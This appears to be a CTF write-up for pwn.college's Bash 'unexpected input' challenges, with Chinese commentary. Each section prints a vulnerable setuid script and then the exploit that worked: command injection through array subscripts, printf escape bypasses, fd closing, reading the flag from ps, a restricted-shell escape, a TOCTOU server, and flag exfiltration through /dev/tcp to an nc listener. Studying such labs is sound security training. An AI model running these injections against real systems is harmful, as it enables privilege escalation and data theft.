Dance of the Disquised
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ubuntu@unexpected-input~dance-of-the-disguised:~$ cat /challenge/run PATH=/usr/bin [ -n "$1 " ] || exit 1 WORKDIR=$(mktemp -d) || exit 2 cp -rL "$1 " /* $WORKDIR /filescd $WORKDIR /filesgrep -q "{" notflag* && exit 3 ls notflag* | while read FILEdo echo "###### FILE: $FILE #######" cat "$FILE " done
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir -p /tmp/arch_way/wrapper ubuntu@unexpected-input~dance-of-the-disguised:~$ ln -s /flag /tmp/arch_way/wrapper/theflag ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir /tmp/arch_way/wrapper/notflag ubuntu@unexpected-input~dance-of-the-disguised:~$ touch /tmp/arch_way/wrapper/notflag/theflag ubuntu@unexpected-input~dance-of-the-disguised:~$ /challenge/run /tmp/arch_way grep: notflag: Is a directory pwn.college{********************************************}
Script of the Silent
1 2 3 4 5 6 7 8 9 10 11 ubuntu@unexpected-input~script-of-the-silent:~$ cat /challenge/run PATH=/usr/bin [ -n "$1 " ] || exit 1 [ "$(realpath "$1 " ) " != "/" ] || exit 1 [ "$(realpath "$1 " ) " != "/flag" ] || exit 2 printf -v BACKUP_DIR "$1 " tar cvf /tmp/backup "$BACKUP_DIR "
1 2 3 4 5 6 7 8 9 ubuntu@unexpected-input~script-of-the-silent:~$ /challenge/run '/f\154ag' tar: Removing leading `/' from member names /flag ubuntu@unexpected-input~script-of-the-silent:~$ tar -xf /tmp/backup -O pwn.college{********************************************} # printf 会默认解析格式化字符串 (Format String) 中的转义字符 # printf 中,你可以使用八进制 (Octal) 或十六进制 (Hex) 来表示字符。比如字母 l 的 ASCII 码是 108,转换成八进制就是 154。 # 当执行到 printf -v BACKUP_DIR ' /f\154ag' 时,printf 作为 Bash builtin,会将 \154 翻译成 l。 # 接下来执行 tar cvf /tmp/backup "$BACKUP_DIR",实际上执行的就是 tar cvf /tmp/backup /flag。
One Single Slice
1 2 3 4 5 6 7 8 9 10 11 ubuntu@unexpected-input~one-single-slice:~$ cat /challenge/run read VAR < <(head -n1 | tr -cd 'a-zA-Z0-9' )read VAL < <(head -n1)declare -n PTR="$VAR " PTR="$VAL "
1 2 3 4 5 6 ubuntu@unexpected-input~one-single-slice:~$ /challenge/run SECONDS a[$(cat /flag >&2)] pwn.college{**********************************************}
The Treacherous Title
1 2 3 4 5 6 7 8 9 10 11 12 ubuntu@unexpected-input~the-treacherous-title:~$ cat /challenge/run while read VARdo declare -r $VAR done < <(declare -p | cut -d' ' -f3 | cut -d= -f1 | grep -v "^VAR$" )read VAR < <(head -n1)read VAL < <(head -n1 | tr -cd 'a-zA-Z0-9' )declare -n PTR="$VAR " PTR="$VAL "
1 2 3 4 5 6 7 8 9 10 11 ubuntu@unexpected-input~the-treacherous-title:~$ (echo 'a[$(cat /flag >&2)]' ; sleep 0.1; echo '1' ) | /challenge/run /challenge/run: line 5: _: readonly variable /challenge/run: line 3: _: readonly variable /challenge/run: line 8: SHLVL: readonly variable /challenge/run: line 8: _: readonly variable /challenge/run: line 9: _: readonly variable /challenge/run: line 10: _: readonly variable /challenge/run: line 11: _: readonly variable pwn.college{**********************************************} /challenge/run: line 11: _: readonly variable
The Dangling Danger
1 2 3 4 5 6 7 ubuntu@unexpected-input~the-dangling-danger:~$ cat /challenge/run PATH=/bin [[ "$1 " = *flag ]] && exit 1 cat /$(basename "$1 " )
1 2 3 ubuntu@unexpected-input~the-dangling-danger:~$ /challenge/run /flag/ pwn.college{**********************************************}
The Evil End
1 2 3 4 5 6 7 8 ubuntu@unexpected-input~the-evil-end:~$ cat /challenge/run PATH=/bin [[ "$1 " = *flag ]] && exit 1 [[ "$1 " = */ ]] && exit 2 cat /$(basename "$1 " )
Command Substitution
1 2 ubuntu@unexpected-input~the-evil-end:~$ /challenge/run '</f*' pwn.college{**********************************************}
An Eroded Erasure
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run.c int main(int argc, char *argv[]) { setreuid(0, 0); setregid(0, 0); // Use bash -c to source the script so that $0 is preserved from argv[0] // argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original // argv[1]> ... char **new_argv = malloc((argc + 4 ) * sizeof(char *)); new_argv[0] = "bash" ; new_argv[1] = "-pc" ; new_argv[2] = ". /challenge/run-actual" ; for (int i = 0; i < argc; i++) new_argv[3 + i] = argv[i]; new_argv[3 + argc] = NULL; execv("/bin/bash" , new_argv); return 1; } ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run-actual read FLAG < /flagread FLAGecho "$FLAG "
1 2 3 4 5 6 7 8 9 10 11 12 ubuntu@unexpected-input~an-eroded-erasure:~$ env BASH_COMPAT=4.2 /challenge/run 0<&- /challenge/run-actual: line 4: read : read error: 0: Bad file descriptor pwn.college{**********************************************}
Secrets of the Processes
1 2 3 4 5 6 7 8 9 10 11 ubuntu@other~secrets-of-the-processes:~$ cat /challenge/run PATH=/usr/bin echo "Guess the flag:" if head -n1 | grep -q "$(< /flag) " then echo "You got it!" else echo "Nope." fi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ubuntu@other~secrets-of-the-processes:~$ /challenge/run & [1] 136 ubuntu@other~secrets-of-the-processes:~$ Guess the flag: ps -eo cmd | grep grep grep -q pwn.college{********************************************} grep --color=auto grep [1]+ Stopped /challenge/run ubuntu@other~secrets-of-the-processes:~$ ps aux | grep grep root 138 0.0 0.0 1276 0 pts/1 T 12:13 0:00 grep -q pwn.college{********************************************} ubuntu 142 0.0 0.0 230744 2560 pts/1 S+ 12:13 0:00 grep --color=auto grep
Puzzle of the Perverse
Predicates
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run.c int main(int argc, char *argv[]) { setreuid(0, 0); setregid(0, 0); // Use bash -c to source the script so that $0 is preserved from argv[0] // argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original // argv[1]> ... char **new_argv = malloc((argc + 4 ) * sizeof(char *)); new_argv[0] = "bash" ; new_argv[1] = "-pc" ; new_argv[2] = ". /challenge/run-actual" ; for (int i = 0; i < argc; i++) new_argv[3 + i] = argv[i]; new_argv[3 + argc] = NULL; execv("/bin/bash" , new_argv); return 1; } ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run-actual PATH=/usr/bin read FLAG < /flag[ "$1 " != "$FLAG " ] && echo "Incorrect Guess. Goodbye!" || bash -i
1 2 3 4 5 6 7 8 9 ubuntu@other~puzzle-of-the-perverse-predicates:~$ /challenge/run >&- /challenge/run-actual: line 5: echo : write error: Bad file descriptor root@other~puzzle-of-the-perverse-predicates:~# cat /flag 1>&2 pwn.college{********************************************}
The Flag, Resting Safely
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ubuntu@other~the-flag-resting-safely:~$ cat /challenge/run PATH=/usr/bin read FLAG < /flagread DEST < <(tr -cd "[a-z0-9/]" <<< "$1 " )[[ "$DEST " == /* ]] || exit 1 OLDIFS="$IFS " IFS="/" FILE="" for FRAGMENT in $DEST do [ -z "$FRAGMENT " ] && continue FILE="$FILE /$FRAGMENT " [ $(stat -c %U "$FILE " ) == "hacker" ] && exit 2 [ $(stat -c %G "$FILE " ) == "hacker" ] && exit 3 [[ $(stat -c %A "$FILE " ) =~ .....w..w. ]] && exit 4 [ "$FRAGMENT " == "proc" ] && exit 5 [ "$FRAGMENT " == "fd" ] && exit 6 [ "$FRAGMENT " == "hacker" ] && exit 7 chmod 000 "$FILE " done IFS="$OLDIFS " [ -e "$FILE " ] && exit 6 umask 777touch "$DEST " echo $FLAG > "$DEST "
1 2 3 4 5 6 7 8 9 10 11 ubuntu@other~the-flag-resting-safely:~$ /challenge/run /dev/tcp/localhost/1337 stat : cannot statx '/dev/tcp' : No such file or directory/challenge/run: line 16: [: ==: unary operator expected stat : cannot statx '/dev/tcp' : No such file or directory/challenge/run: line 17: [: ==: unary operator expected stat : cannot statx '/dev/tcp' : No such file or directoryubuntu@other~the-flag-resting-safely:~$ nc -lvp 1337 nc: getnameinfo: Temporary failure in name resolution Connection received on localhost 39398 pwn.college{********************************************}
tr -cd "[a-z0-9/]"
意味着只能使用小写字母、数字和斜杠。
不能是 hacker
拥有的目录,不能是带有组/其他用户写权限的目录(这就排除了
/tmp, /dev/shm 等)。
chmod 000 "$FILE"。脚本在遍历你提供的路径时,会把沿途所有的目录权限全部抹成
000。
[ -e "$FILE" ] && exit 6。目标路径不能事先存在。
umask 777 结合
touch,创建出的最终文件权限是 000。
当 Bash 处理重定向符 > 时,如果后面的路径是
/dev/tcp/host/port,它会将其拦截,并在内部发起一个 TCP
Socket 网络连接
The Scream of Silence
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 ubuntu@other~the-scream-of-silence:~$ cat /challenge/run exec /bin/bash --restricted --init-file /challenge/.yanjailubuntu@other~the-scream-of-silence:~$ cat /challenge/.yanjail set -Treadonly BASH_SUBSHELL trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUGset +Hset +fset +mset +Bexport PS1="NO WAY OUT: " export PATH=/nopealias case =nopealias coproc =nopealias do =nopealias done =nopealias elif =nopealias else =nopealias esac =nopealias fi =nopealias for =nopealias function =nopealias if =nopealias in =nopealias select =nopealias then =nopealias time =nopealias until =nopealias while =nopeenable -n .enable -n :enable -n [enable -n alias enable -n bg enable -n bind enable -n break enable -n builtin enable -n caller enable -n cd enable -n command enable -n compgenenable -n completeenable -n compoptenable -n continue enable -n declare enable -n dirs enable -n disown enable -n echo enable -n eval enable -n exec enable -n export enable -n false enable -n fc enable -n fg enable -n getopts enable -n hash enable -n help enable -n history enable -n jobs enable -n kill enable -n let enable -n local enable -n logout enable -n mapfile enable -n popd enable -n printf enable -n pushd enable -n pwd enable -n read enable -n readarray enable -n readonly enable -n return enable -n set enable -n shift enable -n shopt enable -n source enable -n suspend enable -n test enable -n times enable -n trap enable -n true enable -n type enable -n typeset enable -n ulimit enable -n umask enable -n unalias enable -n unset enable -n wait enable -n enable
1 2 3 4 5 6 7 8 9 10 11 12 ubuntu@other~the-scream-of-silence:~$ /challenge/run NO WAY OUT: exit () { A=1; } NO WAY OUT: $(< /flag) bash: pwn.college{********************************************}: command not found
Deception, Born of Wisdom
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ubuntu@other~deception-born-of-wisdom:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR chmod o-rwx .chmod o-rwx /procfunction check_script { curl -s http://challenge.localhost:1337/install.sh -o script.sh || exit 1 grep -E '^(touch|echo|sleep) [0-9a-zA-Z]*$' script.sh > sanitized_script.sh if ! diff script.sh sanitized_script.sh then echo "Looks like there are some shenanigans in your script. Aborting!" rm -f /flag exit 1 fi } echo "Thoroughly checking your install script for shenanigans..." i=0 MAX=$(($RANDOM %1000 +1337 )) while [ "$i " -lt "$MAX " ]do check_script echo -ne "\rChecked for the $((i++) )th time... " done curl -s http://challenge.localhost:1337/install.sh | sh
TOCTOU (Time-of-Check to Time-of-Use)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import socketimport times = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) s.bind(('0.0.0.0' , 1337 )) s.listen(5 ) http_header = b"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n" safe_payload = http_header + b"sleep 2\n" + b"echo a\n" * 50000 while True : c, addr = s.accept() try : c.recv(1024 ) c.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 4096 ) c.settimeout(0.1 ) c.sendall(safe_payload) c.close() except socket.timeout: time.sleep(2 ) c.settimeout(3.0 ) c.sendall(b"\ncat /flag\n" ) print ("Success" ) c.close() break except ConnectionResetError: pass
1 2 3 ubuntu@other~deception-born-of-wisdom:~$ /challenge/run | grep pwn sh: 24890: ech: not found pwn.college{********************************************}
Beam me up, Sensei
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ubuntu@other~beam-me-up-sensei:~$ cat /challenge/run regex='^[0-9]+[\+\-\*/][0-9]+$' if [[ "$1 " =~ $regex ]]then RESULT=$[$1 ] exit $RESULT else exit 0 fi cat /flag
1 2 3 ubuntu@other~beam-me-up-sensei:~$ /challenge/run "1/0" /challenge/run: line 7: 1/0: division by 0 (error token is "0" ) pwn.college{**********************************************}